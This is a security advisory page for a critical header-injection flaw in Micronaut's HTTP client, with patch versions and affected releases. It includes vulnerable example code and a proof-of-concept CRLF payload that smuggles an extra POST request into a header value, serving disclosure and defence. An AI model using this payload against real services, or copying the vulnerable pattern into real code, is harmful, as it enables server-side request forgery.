GHSA-694p-xrhg-x3wm

Suggest an improvement
Source
https://github.com/advisories/GHSA-694p-xrhg-x3wm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/03/GHSA-694p-xrhg-x3wm/GHSA-694p-xrhg-x3wm.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-694p-xrhg-x3wm
Aliases
Published
2020-03-30T20:54:55Z
Modified
2024-02-16T07:57:52.052296Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Micronaut's HTTP client is vulnerable to HTTP Request Header Injection
Details

Vulnerability

Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client.

Example of vulnerable code:

@Controller("/hello")
public class HelloController {

    @Inject
    @Client("/")
    RxHttpClient client;

    @Get("/external-exploit")
    @Produces(MediaType.TEXT_PLAIN)
    public String externalExploit(@QueryValue("header-value") String headerValue) {
        return client.toBlocking().retrieve(
            HttpRequest.GET("/hello")
                .header("Test", headerValue)
        );
    }
}

In the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.

For example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.

List<String> headerData = List.of(
    "Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in.
    "",
    "",
    "POST /hello/super-secret HTTP/1.1",
    "Host: 127.0.0.1",
    "Content-Length: 31",
    "",
    "{\"new\":\"json\",\"content\":\"here\"}",
    "",
    ""
);
String headerValue = "H\r\n" + String.join("\r\n", headerData);;
URI theURI =
    UriBuilder
        .of("/hello/external-exploit")
        .queryParam("header-value", headerValue) // Automatically URL encodes data
        .build();
HttpRequest<String> request = HttpRequest.GET(theURI);
String body = client.toBlocking().retrieve(request);

Note that using @HeaderValue instead of @QueryValue is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).

Impact

The attacker is able to control the entirety of the HTTP body for their custom requests. As such, this vulnerability enables attackers to perform a variant of Server Side Request Forgery.

Patches

The problem has been patched in the micronaut-http-client versions 1.2.11 and 1.3.2 and above.

Workarounds

Do not pass user data directly received from HTTP request parameters as headers in the HTTP client.

References

Fix commits - https://github.com/micronaut-projects/micronaut-core/commit/9d1eff5c8df1d6cda1fe00ef046729b2a6abe7f1 - https://github.com/micronaut-projects/micronaut-core/commit/6deb60b75517f80c57b42d935f07955c773b766d - https://github.com/micronaut-projects/micronaut-core/commit/bc855e439c4a5ced3d83195bb59d0679cbd95add

For more information

If you have any questions or comments about this advisory:

Credit

Originally reported by @JLLeitschuh

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-444"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2020-03-30T20:54:42Z"
}
References

Affected packages

Maven / io.micronaut:micronaut-http-client

Package

Name
io.micronaut:micronaut-http-client
View open source insights on deps.dev
Purl
pkg:maven/io.micronaut/micronaut-http-client

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.2.11

Affected versions

1.*

1.0.0.RC3
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.1.0.M1
1.1.0.M2
1.1.0.RC1
1.1.0.RC2
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.2.0.RC1
1.2.0.RC2
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10

Maven / io.micronaut:micronaut-http-client

Package

Name
io.micronaut:micronaut-http-client
View open source insights on deps.dev
Purl
pkg:maven/io.micronaut/micronaut-http-client

Affected ranges

Type
ECOSYSTEM
Events
Introduced
1.3.0
Fixed
1.3.2

Affected versions

1.*

1.3.0
1.3.1